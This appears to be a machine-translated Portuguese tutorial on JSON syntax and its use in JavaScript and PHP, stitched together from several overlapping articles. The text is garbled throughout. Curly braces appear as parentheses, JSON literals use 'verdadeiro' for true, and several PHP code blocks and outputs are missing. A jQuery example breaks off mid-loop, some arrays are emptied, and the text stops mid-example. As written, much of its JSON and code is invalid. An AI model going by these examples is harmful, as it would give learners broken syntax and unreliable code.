linguagem JSON. JSON: Básico

Certamente você já ouviu falar em JSON. O que é? O que ele pode fazer e como usá-lo?

Neste tutorial, cobriremos os fundamentos do JSON e os seguintes pontos:

• O que é JSON?
• Para que é usado o JSON?
• Como criar uma string JSON?
• Um exemplo simples de uma string JSON.
• Vamos comparar JSON e XML.
• Como trabalhar com JSON em JavaScript e PHP?

O que é JSON?

JSON é uma maneira simples e baseada em texto de armazenar e transmitir dados estruturados. Com uma sintaxe simples, você pode armazenar facilmente qualquer coisa, desde um único número até strings, arrays e objetos em texto simples. Você também pode vincular matrizes e objetos para criar estruturas de dados complexas.

Depois que a string JSON é criada, é fácil enviá-la para outro aplicativo ou local na rede porque é um texto simples.

JSON tem as seguintes vantagens:

• É compacto.
• Suas frases são fáceis de ler e compor tanto por humanos quanto por computadores.
• Pode ser facilmente convertido em uma estrutura de dados para a maioria das linguagens de programação (números, strings, booleanos, arrays, etc.)
• Muitas linguagens de programação possuem funções e bibliotecas para leitura e criação de estruturas JSON.

O nome JSON significa JavaScript Object Notation. Como o nome sugere, é baseado em uma forma de definir objetos (muito parecido com a criação de arrays associativos em outras linguagens) e arrays.

Para que é usado o JSON?

O uso mais comum de JSON é enviar dados do servidor para o navegador. Normalmente, os dados JSON são entregues usando AJAX, o que permite que o navegador e o servidor se comuniquem sem a necessidade de recarregar a página.

O usuário clica na miniatura de um produto em uma loja online.

O JavaScript rodando no navegador gera uma solicitação AJAX para o script PHP rodando no servidor, passando o ID do produto selecionado.

O script PHP obtém o nome do produto, descrição, preço e outras informações do banco de dados. Em seguida, ele compõe uma string JSON a partir dos dados e a envia para o navegador.

O JavaScript em execução no navegador recebe a string JSON, decodifica-a e exibe as informações do produto na página para o usuário.

Você também pode usar JSON para enviar dados do navegador para o servidor, passando uma string JSON como parâmetro para solicitações GET ou POST. Mas esse método é menos comum, pois a transferência de dados por meio de solicitações AJAX pode ser simplificada. Por exemplo, o ID do produto pode ser incluído no URL como parte de uma solicitação GET.

A biblioteca jQuery possui vários métodos, como getJSON() e parseJSON(), que facilitam a recuperação de dados usando JSON por meio de solicitações AJAX.

Como criar uma string JSON?

Existem algumas regras básicas para criar uma string JSON:

• A string JSON contém uma matriz de valores ou um objeto (uma matriz associativa de pares nome/valor).
• Variedade está entre colchetes ([ e ]) e contém uma lista de valores separados por vírgula.
• Um objeto está entre chaves (( e )) e contém uma lista separada por vírgulas de pares nome/valor.
• par nome/valor consiste no nome do campo entre aspas duplas, seguido por dois pontos (:) e o valor do campo.
• Significado em uma matriz ou objeto pode haver:
  • Número (inteiro ou ponto flutuante)
  • String (entre aspas duplas)
  • Valor booleano (verdadeiro ou falso)
  • Outra matriz (entre colchetes)
  • Outro objeto (entre chaves)
  • valor nulo

Para incluir aspas duplas em uma string, você precisa usar uma barra invertida: \" . Assim como acontece com muitas linguagens de programação, você pode colocar caracteres de controle e códigos hexadecimais em uma string precedendo-os com uma barra invertida. Consulte o site JSON para obter detalhes.

Exemplo simples de string JSON

Abaixo está um exemplo de pedido no formato JSON:

( "orderID": 12345, "shopperName": "Vanya Ivanov", "shopperEmail": " [e-mail protegido]", "contents": [ ( "productID": 34, "productName": "Superproduto", "quantidade": 1 ), ( "productID": 56, "productName": "Produto milagroso", "quantidade": 3)], "orderCompleted": verdadeiro)

Vejamos a linha em detalhes:

• Criamos um objeto usando chaves (( e )).
• O objeto possui vários pares nome/valor: "orderID": 12345 Uma propriedade com o nome "orderId" e um valor inteiro 12345 "shopperName": "Vanya Ivanov" uma propriedade com o nome "shopperName" e o valor da string "Vanya Ivanov" " "shopperEmail": " [e-mail protegido]" Uma propriedade chamada "shopperEmail" com um valor de string " [e-mail protegido]" "contents": [ ... ] Uma propriedade chamada "contents" cujo valor é uma matriz "orderCompleted": true Uma propriedade chamada "orderCompleted" e o valor booleano true
• Existem 2 objetos na matriz "contents" que representam itens individuais no pedido. Cada objeto contém 3 propriedades: productID , productName e amount .

A propósito, como o JSON é baseado na declaração de objetos JavaScript, você pode transformar de forma rápida e fácil a string JSON acima em um objeto JavaScript:

var carrinho = ( "orderID": 12345, "shopperName": "Vanya Ivanov", "shopperEmail": " [e-mail protegido]", "contents": [ ( "productID": 34, "productName": "Superproduto", "quantidade": 1 ), ( "productID": 56, "productName": "Produto milagroso", "quantidade": 3)], "orderCompleted": verdadeiro);

Comparação de JSON e XML

De muitas maneiras, você pode pensar no JSON como uma alternativa ao XML, pelo menos no espaço de aplicativos da web. O conceito de AJAX foi originalmente baseado no uso de XML para transferir dados entre o servidor e o navegador. Mas nos últimos anos, o JSON tornou-se cada vez mais popular para o transporte de dados AJAX.

Embora o XML seja uma tecnologia comprovada usada em um grande número de aplicações, o JSON tem a vantagem de ser um formato de dados mais compacto e mais fácil de reconhecer.

Esta é a aparência do objeto de exemplo acima em XML:

ID do pedido 12345 compradorNome Vanya Ivanov compradorE-mail [e-mail protegido] conteúdo productID 34 productName Super quantidade de produto 1 productID 56 productName Quantidade de produto milagroso 3 pedidoConcluído verdadeiro

A versão XML é significativamente maior. Na realidade, tem 1.128 caracteres, enquanto a versão JSON tem apenas 323 caracteres. A versão XML também é bastante difícil de entender.

Claro, este é um exemplo radical. E é possível criar um registro XML mais compacto. Mas mesmo assim será significativamente mais longo que o equivalente JSON.

Trabalhando com uma string JSON em JavaScript

JSON tem um formato simples, mas criar uma string JSON manualmente é bastante tedioso. Além disso, muitas vezes você precisa pegar uma string JSON e converter seu conteúdo em uma variável que pode ser usada no código.

A maioria das linguagens de programação possui ferramentas para converter facilmente variáveis ​​em strings JSON e vice-versa.

Criando uma string JSON a partir de uma variável

JavaScript possui um método JSON.stringify() integrado que pega uma variável e retorna uma string JSON representando seu conteúdo. Por exemplo, vamos criar um objeto JavaScript que contém as informações do pedido do nosso exemplo e, em seguida, criar uma string JSON a partir dele:

var carrinho = ( "orderID": 12345, "shopperName": "Vanya Ivanov", "shopperEmail": " [e-mail protegido]", "contents": [ ( "productID": 34, "productName": "Superproduto", "quantidade": 1 ), ( "productID": 56, "productName": "Produto milagroso", "quantidade": 3 ) ], "orderCompleted": true ); alerta (JSON.stringify(cart));

Este código produzirá:

Observe que o método JSON.stringify() retorna uma string JSON sem espaços. É mais difícil de ler, mas é mais compacto para transmissão pela rede.

Existem várias maneiras de analisar uma string JSON em JavaScript, mas a mais segura e confiável é usar o método JSON.parse() integrado. Ele recebe uma string JSON e retorna um objeto ou array JavaScript que contém os dados. Por exemplo:

var jsonString = " \ ( \ "orderID": 12345, \ "shopperName": "Vanya Ivanov", \ "shopperEmail": " [e-mail protegido]", \ "conteúdo": [ \ ( \ "productID": 34, \ "productName": "Super produto", \ "quantidade": 1 \), \ ( \ "productID": 56, \ "productName": "Bens milagrosos", \"quantidade": 3\ ) \ ], \"pedidoCompletado": verdadeiro \ ) \"; var carrinho = JSON.parse(jsonString); alerta(cart.shopperEmail); alerta(carrinho.contents.productName);

Criamos uma variável jsonString que contém a string JSON do nosso pedido de exemplo. Em seguida, passamos essa string para o método JSON.parse(), que cria um objeto contendo os dados JSON e os armazena na variável cart. Tudo o que resta é verificar exibindo as propriedades do objeto shopperEmail e productName da matriz de conteúdo.

Como resultado, obteremos a seguinte saída:

Em uma aplicação real, seu código JavaScript receberia o pedido como uma string JSON em uma resposta AJAX do script do servidor, passaria a string para o método JSON.parse() e usaria os dados para exibi-los na página do usuário.

JSON.stringify() e JSON.parse() têm outros recursos, como usar funções de retorno de chamada para converter determinados dados de maneira personalizada. Essas opções são muito úteis para converter vários dados em objetos JavaScript adequados.

Trabalhando com uma string JSON em PHP

PHP, assim como JavaScript, possui funções integradas para trabalhar com strings JSON.

Criando uma string JSON a partir de uma variável PHP

A função json_encode() pega uma variável PHP e retorna uma string JSON representando o conteúdo da variável. Aqui está nosso exemplo de pedido, escrito em PHP:

Este código retorna exatamente a mesma string JSON do exemplo de JavaScript:

("orderID":12345,"shopperName":"Vanya Ivanov","shopperEmail":" [e-mail protegido]","contents":[("productID":34,"productName":"Superproduto","quantidade":1),("productID":56,"productName":"Produto milagroso","quantidade": 3)],"pedidoCompletado":true)

Em uma aplicação real, seu script PHP enviará esta string JSON como parte de uma resposta AJAX para o navegador, onde o código JavaScript, usando o método JSON.parse(), irá analisá-la de volta em uma variável para exibição na página do usuário .

Você pode passar vários sinalizadores como segundo argumento para a função json_encode(). Com a ajuda deles, você pode alterar os princípios de codificação do conteúdo das variáveis ​​em uma string JSON.

Crie uma variável a partir de uma string JSON

Para converter uma string JSON em uma variável PHP, use o método json_decode(). Vamos substituir nosso exemplo de JavaScript pelo método JSON.parse() com código PHP:

Tal como acontece com JavaScript, este código produzirá:

[e-mail protegido] Produto milagroso

Por padrão, a função json_decode() retorna objetos JSON como objetos PHP. Existem objetos PHP genéricos da classe stdClass. É por isso que usamos -> para acessar as propriedades do objeto no exemplo acima.

Se você precisa de um objeto JSON como um array PHP associado, você precisa passar true como o segundo argumento para a função json_decode(). Por exemplo:

$carrinho = json_decode($jsonString, true); echo $cart["shopperEmail"] . "
"; echo $cart["contents"]["productName"] . "
";

Este código produzirá a mesma saída:

[e-mail protegido] Produto milagroso

Você também pode passar outros argumentos para a função json_decode() para especificar a profundidade da recursão e como lidar com números inteiros grandes.

Conclusão

Embora o JSON seja fácil de entender e usar, é uma ferramenta muito útil e flexível para transferência de dados entre aplicativos e computadores, especialmente ao usar AJAX. Se você está planejando desenvolver uma aplicação AJAX, não há dúvida de que JSON se tornará uma ferramenta essencial em seu workshop.

O que é JSON e o que ele pode fazer? Neste artigo, você aprenderá como usar JSON para trabalhar facilmente com dados. Também veremos como trabalhar com JSON usando PHP e JavaScript.

Se você desenvolveu sites ou aplicações web em geral, é provável que já tenha ouvido falar em JSON, pelo menos de passagem. Mas o que exatamente significa JSON? O que esse formato de dados pode fazer e como pode ser usado?

Neste artigo aprenderemos o básico para trabalhar com o formato json. Seguiremos os seguintes tópicos:

• O que é o formato JSON?
• Como criar strings JSON?
• Exemplo simples de dados JSON
• Comparando JSON com XML

Vamos começar!

O que é o formato JSON?

JSON é uma maneira simples e baseada em texto de armazenar e transmitir dados estruturados. Com uma sintaxe simples, você pode armazenar facilmente números e strings simples, bem como matrizes e objetos, usando nada mais que texto. Você também pode vincular objetos e matrizes, o que permite criar estruturas de dados complexas.

Depois que a string JSON for criada, ela poderá ser facilmente enviada para qualquer aplicativo ou computador, pois é apenas texto.

JSON tem muitas vantagens:

• É compacto
• É legível por humanos e fácil de ler por computadores
• Pode ser facilmente convertido em formatos de software: valores numéricos, strings, formato booleano, valor nulo, arrays e arrays associativos.
• Quase todas as linguagens de programação possuem funções que permitem ler e criar dados no formato json.

Literalmente, a abreviatura JSON significa JavaScript Object Notation. Conforme descrito anteriormente, este formato é baseado na criação de objetos, algo semelhante aos arrays associativos em outras linguagens de programação.

Para que finalidades o JSON é usado?

Acima de tudo, json é usado para trocar dados entre javascript e servidor (php). Em outras palavras, para a tecnologia ajax. Isso é muito conveniente quando você passa múltiplas variáveis ​​ou matrizes de dados inteiras.

Aqui está o que parece em um exemplo:

O usuário clica na imagem em miniatura

O JavaScript processa esse evento e envia uma solicitação ajax ao script PHP, passando o ID da imagem.

No servidor, o php recebe a descrição da imagem, o nome da imagem, o endereço da imagem grande e outras informações do banco de dados. Ao recebê-lo, ele o converte para o formato JSON e o envia de volta para a página do usuário.

JavaScript recebe a resposta em formato JSON, processa os dados, gera código html e exibe uma imagem ampliada com descrição e outras informações.

É assim que a imagem é ampliada sem recarregar a página no navegador. Isto é muito conveniente quando precisamos receber dados parciais ou transferir uma pequena quantidade de informações para o servidor.

O jQuery favorito de todos possui as funções getJSON() e parseJSON(), que ajudam você a trabalhar com o formato por meio de solicitações ajax.

Como criar strings JSON?

Abaixo estão as regras básicas para a criação de strings JSON:

• A string JSON contém uma matriz de valores e um objeto (uma matriz associativa com pares nome/valor).
• A matriz deve ser colocada entre colchetes, [ e ] e pode conter uma lista de valores separados por vírgula.
• Os objetos são agrupados usando braços encaracolados (e) e também contêm pares nome/valor separados por vírgula.
• Os pares nome/valor consistem no nome do campo (entre aspas duplas) seguido por dois pontos (:) seguido pelo valor do campo.
• Os valores em um array ou objeto podem ser:
  • Numérico (inteiro ou fração pontilhada)
  • Strings (entre aspas duplas)
  • Booleano (verdadeiro ou falso)
  • Outras matrizes (entre colchetes [ e ])
  • Outros objetos (enrolados em braços encaracolados (e))
  • Valor nulo

Importante! Se você usar aspas duplas em valores, escape-as com uma barra invertida: \". Você também pode usar caracteres codificados em hexadecimal, assim como faz em outras linguagens de programação.

Exemplo simples de dados JSON

O exemplo a seguir mostra como você pode salvar dados no “carrinho” de uma loja online usando o formato JSON:

("orderID": 12345, "shopperName": "John Smith", "shopperEmail": " [e-mail protegido]", "conteúdo": [ ( "productID": 34, "productName": "SuperWidget", "quantidade": 1 ), ( "productID": 56, "productName": "WonderWidget", "quantidade": 3 ) ], "orderCompleted": verdadeiro)

Vamos dividir esses dados peça por peça:

No início e no final usamos os braços encaracolados ( e ) para deixar claro que se trata de um objeto.

Dentro do objeto temos vários pares nome/valor:

"orderID": 12345 - campo denominado orderId e valor 12345

"shopperName": "John Smith" - campo denominado shopperName e valor John Smith

"shopperEmail": "johnsmith@ example.com" - semelhante ao campo anterior, o email do comprador é armazenado aqui.

"contents": [ ... ] - um campo denominado content cujo valor é um array.

"orderCompleted": true - um campo chamado orderCompleted cujo valor é verdadeiro

Dentro do array de conteúdo, temos dois objetos que exibem o conteúdo do carrinho. Cada objeto de produto possui três propriedades: productID, productName, quantidade.

Finalmente, como o JSON é idêntico aos objetos em JavaScript, você pode facilmente pegar este exemplo e criar um objeto JavaScript a partir dele:

var carrinho = ("orderID": 12345, "shopperName": "John Smith", "shopperEmail": " [e-mail protegido]", "conteúdo": [ ( "productID": 34, "productName": "SuperWidget", "quantidade": 1 ), ( "productID": 56, "productName": "WonderWidget", "quantidade": 3 ) ], "orderCompleted": verdadeiro);

Comparando JSON com XML

Na maioria dos casos, você pensará no JSON como uma alternativa ao XML – pelo menos em aplicativos da web. O conceito Ajax originalmente usa XML para trocar dados entre o servidor e o navegador, mas nos últimos anos o JSON se tornou mais popular para transmitir dados Ajax.

Embora XML seja uma tecnologia testada e comprovada usada por muitos aplicativos, as vantagens do formato JSON são que ele é mais compacto e mais fácil de escrever e ler.

Aqui está o exemplo JSON acima, apenas reescrito no formato XML:

ID do pedido 12345 compradorNome John Smith compradorE-mail [e-mail protegido] conteúdo productID 34 productName SuperWidget quantidade 1 productID 56 productName WonderWidget quantidade 3 orderCompleted true

Como você pode ver, é várias vezes mais longo que JSON. Na verdade, este exemplo tem 1.128 caracteres, enquanto a versão JSON tem apenas 323 caracteres. A versão XML também é mais difícil de ler.

Naturalmente, não se pode julgar apenas por um exemplo, mas mesmo pequenas quantidades de informação ocupam menos espaço no formato JSON do que no XML.

Como trabalhar com JSON via PHP e JS?

Agora chegamos à parte mais interessante – o lado prático do formato JSON. Primeiro, vamos prestar homenagem ao JavaScript, depois veremos como você pode manipular JSON por meio de PHP.

Criando e lendo formato JSON usando JavaScript

Embora o formato JSON seja simples, é difícil escrever manualmente ao desenvolver aplicações web. Além disso, muitas vezes você precisa converter strings JSON em variáveis ​​e usá-las em seu código.

Felizmente, muitas linguagens de programação fornecem ferramentas para trabalhar com strings JSON. A ideia principal é:

Para criar strings JSON, você começa com variáveis ​​contendo alguns valores e depois os passa por uma função que transforma os dados em uma string JSON.

Lendo strings JSON, você começa com uma string JSON contendo determinados dados, passa a string por uma função que cria variáveis ​​contendo os dados.

Vamos ver como isso é feito em JavaScript.

Criando uma string JSON a partir de uma variável JavaScript

JavaScript possui um método integrado, JSON.stringify(), que pega uma variável javascript e retorna uma string json representando o conteúdo da variável. Por exemplo, vamos usar um objeto criado anteriormente e convertê-lo em uma string JSON.

var carrinho = ("orderID": 12345, "shopperName": "John Smith", "shopperEmail": " [e-mail protegido]", "conteúdo": [ ( "productID": 34, "productName": "SuperWidget", "quantidade": 1 ), ( "productID": 56, "productName": "WonderWidget", "quantidade": 3 ) ], "orderCompleted": true ); alerta (JSON.stringify(cart));

Isto é o que aparecerá na tela:

("orderID":12345,"shopperName":"John Smith","shopperEmail":" [e-mail protegido]", "contents":[("productID":34,"productName":"SuperWidget","quantidade":1), ("productID":56,"productName":"WonderWidget","quantidade":3) ], "pedidoCompletado":true)

Observe que JSON.stringify() gera strings JSON sem espaços. É difícil de ler, mas é mais compacto, o que é importante no envio de dados.

Criando uma variável JavaScript a partir de uma string JSON

Existem várias maneiras de analisar strings JSON, a mais aceitável e segura é usando o método JSON.parse(). Ele pega uma string JSON e retorna um objeto ou array JavaScript contendo os dados JSON. Aqui está um exemplo:

var jsonString = " \ ( \ "orderID": 12345, \ "shopperName": "John Smith", \ "shopperEmail": " [e-mail protegido]", \ "conteúdo": [ \ ( \ "productID": 34, \ "productName": "SuperWidget", \ "quantidade": 1 \), \ ( \ "productID": 56, \ "productName": " WonderWidget", \ "quantidade": 3 \ ) \ ], \ "orderCompleted": true \ ) \ "; var carrinho = JSON.parse(jsonString); alerta(cart.shopperEmail); alerta(carrinho.contents.productName);

Aqui criamos uma variável, jsonString, que contém a string JSON dos exemplos fornecidos anteriormente. Em seguida, passamos essa string por JSON.parse() para criar um objeto contendo dados JSON, que foram armazenados na variável cart. Por fim, verificamos a disponibilidade dos dados e exibimos algumas informações usando a janela modal de alerta.

As seguintes informações serão exibidas:

Em uma aplicação web real, seu código JavaScript deve receber uma string JSON como resposta do servidor (após enviar uma solicitação AJAX), então analisar a string e exibir o conteúdo do carrinho ao usuário.

Criando e lendo o formato JSON usando PHP

O PHP, assim como o JavaScript, possui funções que permitem converter variáveis ​​para o formato JSON e vice-versa. Vamos dar uma olhada neles.

Criando uma string JSON a partir de uma variável PHP

Json_encode() pega uma variável PHP e retorna uma string JSON representando os dados da variável. Aqui está nosso exemplo de “carrinho” escrito em PHP:

Este código produz exatamente o mesmo resultado que o exemplo JavaScript – uma string JSON válida representando o conteúdo das variáveis:

("orderID":12345,"shopperName":"John Smith","shopperEmail":" [e-mail protegido]","contents":[("productID":34,"productName":"SuperWidget","quantidade":1),("productID":56,"productName":"WonderWidget","quantidade":3) ],"pedidoCompletado":true)

Na realidade, seu script PHP deve enviar uma string JSON como resposta a uma solicitação AJAX, onde o JavaScript usará JSON.parse() para transformar a string em variáveis.

Na função json_encode(), você pode especificar parâmetros adicionais que permitem converter alguns caracteres em hexadecimal.

Criando uma variável PHP a partir de uma string JSON

Semelhante ao acima, existe uma função json_decode() que permite decodificar strings JSON e colocar o conteúdo em variáveis.

Tal como acontece com o JavaScript, este código produzirá o seguinte:

[e-mail protegido] WonderWidget

Por padrão, json_decode() retorna objetos JSON como objetos PHP. Semelhante à sintaxe regular, usamos -> para acessar as propriedades de um objeto.

Se posteriormente você quiser usar os dados como um array associativo, basta passar o segundo parâmetro true para a função json_decode(). Aqui está um exemplo:

$carrinho = json_decode($jsonString, true); echo $cart["shopperEmail"] . "
"; echo $cart["contents"]["productName"] . "
";

Isso produz o mesmo resultado:

[e-mail protegido] WonderWidget

Você também pode passar argumentos adicionais para a função json_decode() para determinar o processamento de grandes números e recursão.

Concluindo sobre o formato JSON

Se você for criar uma aplicação web utilizando a tecnologia Ajax, certamente utilizará o formato JSON para troca de dados entre o servidor e o navegador.

JSON é um formato de texto para registro de dados. Ele permite representar em forma de texto um único número ou string e estruturas complexas, por exemplo, matrizes com dados. Usar este formato de gravação é conveniente porque é legível e intuitivo, ao mesmo tempo que permite armazenar estruturas de dados muito complexas. Além disso, é mais compacto que o xml, por isso, na minha opinião, é mais preferível para a troca de dados entre um navegador web e um servidor.

Sintaxe JSON com exemplos

O formato json geralmente é escrito em 2 variantes:

1. Sequência de valores. Por exemplo, a sequência 10, 15 e “teste” no formato JSON ficaria assim:

2. Registro na forma de pares chave: valor. Por exemplo:

(“Nome completo”: “Ivanov Sergey”, “Data de nascimento”: “09/03/1975”)

Um exemplo um pouco mais complexo:

("Nome completo": "Ivanov Sergey", "Endereço": ("Cidade": "Moscou", "Rua": "Pyatnitskaya", "Casa": "35") )

Funções PHP para trabalhar com formato JSON

Na linguagem PHP desde a versão 5.2. existem apenas 4 funções:

• json_decode - Decodifica uma string JSON (obtém dados de uma string no formato json)
• json_encode – Retorna uma representação JSON dos dados (converte os dados em uma string json)
• json_last_error_msg – Retorna uma string indicando a mensagem de erro da última chamada para json_encode() ou json_decode()
• json_last_error – Retorna o último erro

Basicamente, na maior parte, apenas duas funções são usadas: json_encode e json_decode. Não vou entrar em detalhes sobre sua sintaxe, você pode consultar php.net para mais detalhes. Exemplo de uso:

$arr1 = matriz(0,1,2); $json_str = json_encode($arr1); echo $json_str; // gerará uma string json: $arr2 = json_decode($json_str); eco $arr2; // produzirá: 1

Observação: ao codificar dados em russo para o formato JSON, a função json_encode converte caracteres russos em Unicode, ou seja, substitui-os por \uXXXX e, assim, a string json torna-se ilegível para humanos (mas compreensível para o navegador). Se quiser evitar a conversão para Unicode (por exemplo, ao depurar código), você pode simplesmente usar a opção JSON_UNESCAPED_UNICODE.

Além disso, para que barras de escape não sejam adicionadas durante a codificação e para que strings com números sejam codificadas como números, você pode usar JSON_UNESCAPED_SLASHES e JSON_NUMERIC_CHECK. Como resultado, para tornar a string json legível por humanos, faremos, por exemplo, isto:

$arr = array("fio" => "Ivanov Sergey", "idade" => "32", "vk_url" => "https://vk.com/id11111"); echo json_encode($arr, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_NUMERIC_CHECK);

Sem usar essas opções a linha ficaria assim:

( "fio" : "\u0418\u0432\u0430\u043d\u043e\u0432 \u0421\u0435\u0440\u0433\u0435\u0439", "idade" : "32", "vk_url": "https:\/\ /vk.com\/id11111" )

e usando as opções, obtemos uma linha legível:

( "fio": "Ivanov Sergey", "idade": 32, "vk_url": "https://vk.com/id11111" )

Mais um ponto: se você deseja que a função json_decode retorne um array ao decodificar uma string json, basta adicionar um segundo parâmetro à função igual a true.

$json_str = "("a":1, "b":2, "c":3 )"; $obj = json_decode($json_str); // obtém o objeto echo $obj->a; // produzirá 1 $arr = json_decode($json_str, true); // obtém um array associativo echo $arr["a"]; // irá imprimir 1

Isso conclui minha revisão das funções PHP.

Funções JavaScript para trabalhar com formato JSON

Vamos começar com o fato de que o formato JSON foi originalmente inventado para a linguagem JavaScript e depois se tornou simplesmente um formato de texto separado usado em diferentes idiomas. Aparentemente, é por isso que a sintaxe JSON é muito semelhante à sintaxe para escrever objetos e arrays comuns.

// Exemplo de array em JavaScript arr = ; alerta(arr); // exibirá 1 // Exemplo de um objeto em JavaScript obj = ( "name": "Vasya", "age": 35, "isAdmin": false ) alert(obj.name); // imprimirá "Vasya"

Funções JavaScript usadas para converter de e para o formato JSON:

• JSON.parse - decodificando uma string JSON (convertendo uma string em objetos e/ou arrays)
• JSON.stringify - retorna uma representação JSON de dados (convertendo objetos e/ou arrays em uma string json)

Um exemplo simples de decodificação de uma string json em um array com números:

Str = ""; arr = JSON.parse(str); alerta(arr); // irá imprimir 1

Um exemplo de conversão (serialização) de um objeto em uma string JSON:

Obj = ( "nome": "Vasya", "idade": 35, "isAdmin": false ) alert(JSON.stringify(obj)); // será exibido ("nome":"Vasya","idade":35,"isAdmin":false)

Ao serializar (converter) um objeto em uma string JSON, o método toJSON deste objeto é chamado, se existir. Se não houver método, todas as propriedades do objeto serão listadas. Um exemplo de conversão de um objeto com o método toJSON:

Obj = ( "nome": "Vasya", "idade": 35, "isAdmin": false, toJSON: function() ( return this.age; ) ) alert(JSON.stringify(obj)); // imprimirá 35

Exemplos de aplicação prática do formato JSON

Na verdade, eu pessoalmente uso o formato JSON em 2 situações principais:

1. Transferência de dados entre o navegador e o servidor usando solicitações Ajax.

Por exemplo, temos uma página na qual precisamos atualizar os dados sem recarregar a página. Digamos que você precise de informações com uma lista de funcionários e seus dados para serem “baixados” do servidor.

Em JavaScript, usando jQuery, simplificamos e exibimos os dados em forma de tabela no navegador:

$.getJSON("get-info.php").success(function(data) ( // solicitação ajax, os dados do servidor serão gravados na variável de dados htmlstr = "

"; for (var i=0; i "Ivanov Sergey", "aniversário" => "09/03/1975"); $user_info = array ("fio" => "Alexey Petrov", "aniversário" => " 18/09.1983"); echo json_encode($user_info); sair;

Neste exemplo, a string JSON que foi passada do servidor para o navegador ficou assim:

[("fio":"Sergey Ivanov","aniversário":"09/03/1975"),("fio":"Alexey Petrov","aniversário":"18/09/1983")]

Deliberadamente não mostrei a linha em forma de “árvore”, porque é transmitido exatamente desta forma. E como você pode perceber, a gravação de dados no formato JSON acabou sendo muito compacta, o que significa que a transferência desses dados do servidor para o navegador será quase instantânea.

2. Escrever estruturas de dados complexas no banco de dados.

Às vezes há situações em que não é aconselhável criar outra tabela no banco de dados para armazenar diversos dados. Digamos que um usuário cadastrado no site tenha a oportunidade de personalizar a cor de fundo e a cor do texto.

Em vez de criar outra tabela para 2 configurações, você pode simplesmente criar uma coluna de texto na tabela com a lista de usuários na qual colocar os dados de configurações do usuário. Então a solicitação de atualização de configurações poderia, por exemplo, ser assim:

ATUALIZAR usuários SET configurações = "("background-color":"#FFFFFF", "text-color":"#000000")" WHERE user_id = 10

No futuro, tendo recebido informações da tabela de usuários, o script php poderá facilmente transformá-las novamente em um array com configurações. Por exemplo, se a variável $user_info contém dados obtidos para um usuário da tabela users, obter um array com configurações é muito simples:

$configurações = json_decode($user_info["configurações"], verdadeiro); echo "Cor de fundo = ".$settings["cor de fundo"]; echo "Cor do texto = ".$settings["cor do texto"];

No formato JSON você também pode, por exemplo, registrar no banco de dados quais opções de produtos o comprador selecionou.

("15":["45","47"], "18":"52") // a opção 15 tem os valores 45 e 47 selecionados, e a opção 18 tem o valor 52 selecionado

Em princípio, você pode até escrever todo o conteúdo do carrinho no formato JSON, por exemplo, assim:

( "user_id": 10, "session_id": "2c2l3h4ii271aojentejtdcmh3", "produtos": [ ( "product_id": 15, "opções": ( "15":, "18": 52), "quantidade": 1, "preço" : 1500 ), ( "product_id" : 16, "opções" : ( "15" : , "18" : 51 ), "quantidade" : 2, "preço" : 1000 ) ] )

Em sua forma usual sem árvore, essa string JSON seria assim:

("user_id":10,"session_id":"2c2l3h4ii271aojentejtdcmh3","produtos":[("product_id":15,"opções":("15":,"18":52),,"quantidade":1 , "preço":1500),("product_id":16,"opções":("15":,"18":51),,"quantidade":2,"preço":1000)])

Assim, como pode ser visto nos exemplos, quase todas as informações podem ser armazenadas e transmitidas no formato JSON.

JSON (JavaScript Object Notation) é um formato de transferência de dados. Como o nome sugere, o formato é baseado na linguagem de programação JavaScript, mas também está disponível em outras linguagens (Python, Ruby, PHP, Java).

JSON usa a extensão .json. Quando usada em outros formatos de arquivo (como .html), a string JSON é colocada entre aspas ou atribuída a uma variável. Este formato é facilmente transferido entre o servidor web e o cliente ou navegador.

Leve e fácil de entender, o JSON é uma ótima alternativa ao XML.

Este tutorial apresentará os benefícios, objetos, estrutura geral e sintaxe do JSON.

Sintaxe e estrutura JSON

Um objeto JSON está no formato de valor-chave e geralmente é escrito entre chaves. Ao trabalhar com JSON, todos os objetos são armazenados em um arquivo .json, mas também podem existir como objetos separados no contexto do programa.

O objeto JSON se parece com isto:

"primeiro_nome": "João",
"sobrenome": "Smith",
"local": "Londres",
"on-line": verdadeiro,
"seguidores": 987

Este é um exemplo muito simples. Um objeto JSON pode conter muitas linhas.

Como você pode ver, um objeto é composto de pares de valores-chave colocados entre chaves. A maioria dos dados em JSON são escritos como objetos.

Dois pontos são colocados entre a chave e o valor. Após cada par você precisa colocar uma vírgula. O resultado é:

"chave": "valor", "chave": "valor", "chave": "valor"

A chave JSON está à esquerda. A chave deve ser colocada entre aspas duplas. Qualquer string válida pode ser usada como chave. Dentro de um objeto, todas as chaves devem ser exclusivas. A chave pode conter um espaço (“nome”), mas a programação pode ter problemas para acessar tal chave. Portanto, em vez de espaço, é melhor usar um sublinhado (“first_name”).

Os valores JSON estão no lado direito da coluna. Qualquer tipo de dados simples pode ser usado como valor:

• Cordas
• Números
• Objetos
• Matrizes
• Dados booleanos (verdadeiro ou falso)

Os valores também podem ser representados por tipos de dados complexos (por exemplo, objetos ou matrizes JSON).

JSON suporta sintaxe individual para cada um dos tipos de dados listados acima: se o valor for representado por uma string, ele será colocado entre aspas, mas se for um número, não será.

Normalmente, os dados em arquivos .json são gravados em uma coluna, mas JSON também pode ser gravado em uma linha:

( "primeiro_nome": "John", "sobrenome": "Smith", "online": verdadeiro,)

É assim que os dados JSON normalmente são gravados em outros tipos de arquivo.

Ao gravar dados JSON em uma coluna, você melhora a legibilidade do arquivo (especialmente se houver muitos dados no arquivo). JSON ignora espaços entre colunas, então você pode usá-los para dividir seus dados em um número gerenciável de colunas.

"primeiro_nome": "João",
"sobrenome": "Smith",
"on-line": verdadeiro

Observe que os objetos JSON são muito semelhantes aos objetos JavaScript, mas não têm o mesmo formato. Por exemplo, você pode usar funções em JavaScript, mas não em JSON.

A principal vantagem do JSON é que os dados neste formato são suportados por muitas linguagens de programação populares, para que possam ser transferidos rapidamente.

Agora você está familiarizado com a sintaxe JSON básica. Mas os arquivos JSON podem ter estruturas hierárquicas complexas que incluem matrizes e objetos aninhados.

Tipos complexos em JSON

JSON pode armazenar objetos e arrays aninhados, que serão passados ​​​​como o valor da chave atribuída a eles.

Objetos aninhados

Abaixo você encontrará um exemplo - o arquivo users.json, que contém dados do usuário. Para cada usuário

(“john”, “jesse”, “drew”, “jamie”) um objeto aninhado é passado como um valor, que, por sua vez, também consiste em chaves e valores.

Observação: o primeiro objeto JSON aninhado é destacado em vermelho.

"John" :(
"nome de usuário": "João",
"local": "Londres",
"on-line": verdadeiro,
"seguidores": 987

"Jessé" :(
